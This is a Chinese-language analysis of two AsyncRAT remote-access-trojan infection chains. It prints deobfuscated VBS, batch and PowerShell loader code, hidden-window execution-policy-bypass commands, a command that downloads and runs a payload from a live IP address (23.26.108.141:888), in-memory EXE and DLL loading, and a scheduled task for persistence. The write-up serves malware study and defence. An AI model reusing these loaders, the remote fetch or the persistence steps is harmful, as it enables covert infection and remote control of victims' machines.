前言
AsyncRAT是远控木马的一种,旨在秘密渗透系统并让攻击者远程控制受感染的设备。这是俩个类似的样本的感染过程分析。
样本一
样本一是一个txt文件,实际上是经过混淆的VBS脚本
它先是定义了一些变量,存储代码中使用的文本部分。
紧接着下载了一个jpg文件并将其保存为zip,掩盖自身。
对代码进行解混淆:
Set FileSystemObject = CreateObject("Scripting.FileSystemObject")
Set XMLFile = FileSystemObject.CreateTextFile("C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.Xml", True)
XMLFile.Write FileContent
XMLFile.Close
这里将内容保存到位于 C:\Users\Public 目录中的 XML 文件中。
IScriptObj.Run "powershell .command ""
[xml]$eksdmocc = Get-Content 'C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.xml';
$bjarrrrrrrrrrrrrrrwio = $eksdmocc.command.a.execute;
Invoke-Expression $bjarrrrrrrrrrrrrrrwio""", @, True
FileSystemObject.DeleteFile "C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.xml"
执行XML文件的内容并将其删除。
总的来说,VBS 脚本在 C:\Users\Public
目录下创建了一个名为 OMjRRRRRRRRRRRRRRRRRRRRvbK.xml
的 XML 文件。该 XML 文件包含一个 PowerShell 脚本,该脚本的功能是下载伪装成 JPG 文件的恶意文件,并将其保存到相同目录。下载后,文件会被解压到该目录下。
解压过程完成后,脚本会继续执行另一个名为 TesKKKeLAvaYdAfbBS.vbs
的 VBS 脚本。最后,脚本会删除之前创建的 XML 文件和 ZIP 文件,以清理痕迹。
VBS文件
vbs脚本也经过混淆,如下:
On Error Resume Next
Dim WeeeeeeeeeeeSSSSSSSStlt
Dim DDoooooooooooooooooeet
Dim NOoooooooooooooooooeerf
Dim Pppppppppppppppppppppppeeeeeeeeeeeeeeeeeeeeeeeeeqrrrg
Pppppppppppppppppppppppeeeeeeeeeeeeeeeeeeeeeeeeeqrrrg = "pt."
Dim BqqqqqeeREFFFFFFFFFFFFFFFFFFFFFFF
BqqqqqeeREFFFFFFFFFFFFFFFFFFFFFFF = "cri" + Pppppppppppppppppppppppeeeeeeeeeeeeeeeeeeeeeeeeeqrrrg + "Sh"
DDoooooooooooooooooeet = False
Set WeeeeeeeeeeeSSSSSSSStlt = CreateObject("WS" + BqqqqqeeREFFFFFFFFFFFFFFFFFFFFFFF + "ell")
Dim BrttttttttttttttttttttUUUUUUUUUUUsd
BrttttttttttttttttttttUUUUUUUUUUUsd = "net session"
NOoooooooooooooooooeerf = WeeeeeeeeeeeSSSSSSSStlt.Run(BrttttttttttttttttttttUUUUUUUUUUUsd, 0, True)
If NOoooooooooooooooooeerf = 0 Then
DDoooooooooooooooooeet = True
End If
Dim gQ00qQpPPPPPPPPPPPPPPPPPPPPPPPP
gQ00qQpPPPPPPPPPPPPPPPPPPPPPPPP = "C:\Us"
Dim bQQqqqqqqqqqqqqqqqqqWWWWWWWWWWVVVVVVVVVVVVWWWWWWWWWWWW
bQQqqqqqqqqqqqqqqqqqWWWWWWWWWWVVVVVVVVVVVVWWWWWWWWWWWW = "ers\Pub"
Dim MMMYYYYYYYYYYYYYYYYYYYYYYYYYYYYYc
MMMYYYYYYYYYYYYYYYYYYYYYYYYYYYYYc = "licKKKKKKKIIlavTO000tesAA.b"
Dim gWBBBBBBBBBBBBBBBBBBnnnnnnnnnnnnnnnnn
gWBBBBBBBBBBBBBBBBBBnnnnnnnnnnnnnnnnn = gQ00qQpPPPPPPPPPPPPPPPPPPPPPPPP + bQQqqqqqqqqqqqqqqqqqWWWWWWWWWWVVVVVVVVVVVVWWWWWWWWWWWW + MMMYYYYYYYYYYYYYYYYYYYYYYYYYYYYYc + "at"
If DDoooooooooooooooooeet Then
WeeeeeeeeeeeSSSSSSSStlt.Run gWBBBBBBBBBBBBBBBBBBnnnnnnnnnnnnnnnnn, 0
Else
WeeeeeeeeeeeSSSSSSSStlt.Run gWBBBBBBBBBBBBBBBBBBnnnnnnnnnnnnnnnnn, 0
End If
On Error GoTo 0
它使用随机的变量名,字符串是拼接而成的,例如 CreateObject
和 Run
的参数。最后面无论 lF 语句的结果是 True 还是 False,都执行代码,这混淆逻辑,可能是为了绕过检测。
做一点简单的解混淆,替换和拼接,可以得到:
On Error Resume Next
Set CreateObj = CreateObject("WScript.Shell")
Dim RunFileBat
RunFileBat = "C:\Users\Public\KKKKKKllLavI00000tesAA.bat"
CreateObj.Run RunFileBat, 0
On Error GoTo 0
看得出,通过WScript.Shell
运行了一个批处理文件。
Bat文件
批处理文件如下:
@echo off
set "LYZVPSNUISRELUGJ=po"
set "ZMWTJAXWOEUPRUNW=er"
set "DVTEJPVRHWUSRHB=-No"
set "GVXDOLJASUBLCBLH=Pro"
set "UXXZFHNCQPFNMWIL=file"
set "XHAEYWNOCITDSRZON=-Window"
set "UMCMEVCWMNBPIXJ=Style"
set "FYVFBPJKZUUPFYKQX=Hidden"
set "ACIDVUWCFHMCRMFN=-Execution"
set "POBYVCRPDLLBHLYZI=Policy"
set "ACRPOQSHORJTUYKS=Bypass"
set "VGYOGJVSJWJKZCHS=C:\Users\Public\KKguLavTEsaaEtneeNARdeP.ps1"
set "FULLCOMMAND=%LYZVPSNUISRELUGJ%%ZMWTJAXWOEUPRUNW%%DVTEJPVRHWUSRHB%%GVXDOLJASUBLCBLH%%UXXZFHNCQPFNMWIL% %XHAEYWNOCITDSRZON%%UMCMEVCWMNBPIXJ% %FYVFBPJKZUUPFYKQX% %ACIDVUWCFHMCRMFN%%POBYVCRPDLLBHLYZI% %ACRPOQSHORJTUYKS% -Command "& '%VGYOGJVSJWJKZCHS%'""
powershell.exe %FULLCOMMAND%
exit /b
也是经过随机变量名和拼接组成字符串,之后调用 powershell.exe
执行拼接后的 PowerShell 命令。
命令:
powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass C:\Users\Public\KKguLavTEsaaEtneeNARdeP.ps1
此命令试图静默执行 KKguLavTEsaaEtneeNARdeP.ps1
。-ExecutionPolicy Bypass
绕过系统执行策略限制,直接运行脚本。
ps1
最后一步是通过更改变量名来使代码更难解释,从而达到混淆的目的。他们没有给变量起一个直接的名字,而是把单词拆分成几个部分,把它们混合起来,然后调用每个位置来重构变量名。
Set-Variable B2Nyu [Type](CoNVERt);
try {
function PARSer {
param ($pIpE)
Set-Variable -Name pipe -Value $pIpE -split ' ' | &('?') {$_}
foreach ($cHuNK in $pIpE) {
B2Nyu.ToInt32.Invoke($cHuNK, 16)
}
}
}
这部分是一个接收字符串并将其从十六进制转换为32 位整数的函数。
接着定义了包含两个带有大字符串的变量。两个字符串都使用替换函数来检索正确的值,然后将其发送到“PARSer”进行进一步处理。最后一部分只是将文件加载到内存中并执行它们。
使用Cyberchef:
第一个变量是一个DLL文件。
第二个变量是一个exe文件。
样本二
样本二包含一个txt文件和一个jpg文件。txt实际上是一个经过混淆的vbs脚本。
将其解混淆后得到:
Dim var
var = "[BYTe[]]:5A123=TeXt(NEW-OBJeCTNeT.W;$8456='eBClIEnt').DOWNLO[BYTe[]]:SC789='http://23.26.108.141:888/zohre.jpg'').RePLACE('VAN','ADSTRING');[BYTe[]].TeXt($A123+$8456+$C789)"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "Cmd.exe /C POWERSHELL.exe -NOP -WIND HIDDEN -eXec BYPASS -NONI -& var", 0, True
Set objShell = Nothing
变量 var
包含一段复杂的字符串。似乎是使用 Base64 编码或其他文本处理技术拼接一个 PowerShell 脚本。通过 [BYTe[]]
和 .TeXt()
,以及变量 $A123
, $8456
, $C789
,完成字符串拼接。URL http://23.26.108.141:888/zohre.jpg
被隐藏其中。
实际上下载了一个恶意文件 zohre.jpg,jpg文件也是是一个伪装的ps脚本。
PowerShell 文件执行两个主要功能:
-
文件创建和内容写入:创建感染过程所必需的三个文件
-
计划任务设置:安排任务以确保重复执行,从而维持 AsyncRAT 感染
文件创建
第一个文件
ps脚本用了一个超大的存储与 AsyncRat 相关的 EXE 和 DLL 的变量。它会在 roox.ps1 中创建并存储内容。
清理文件后,它会从两个变量中删除“%&%”,将它们从十六进制转换为十六进制,然后加载到内存中并执行。
使用cyberchef解码:
可以得到一个exe文件和dll文件。
第二个文件
第二个文件触发 PowerShell 执行前一个文件(roox.ps1)。
第三个文件
最后一个文件运行前一个文件roox.bat,同时对受害者隐藏执行过程。这确保感染过程保持不可见,并最大限度地减少任何可见指标,使受害者更难检测到正在进行的活动。
创建一个计划任务,该任务每隔 2 分钟运行一次指定的脚本文件(C:\Users\Public\roox.vbs)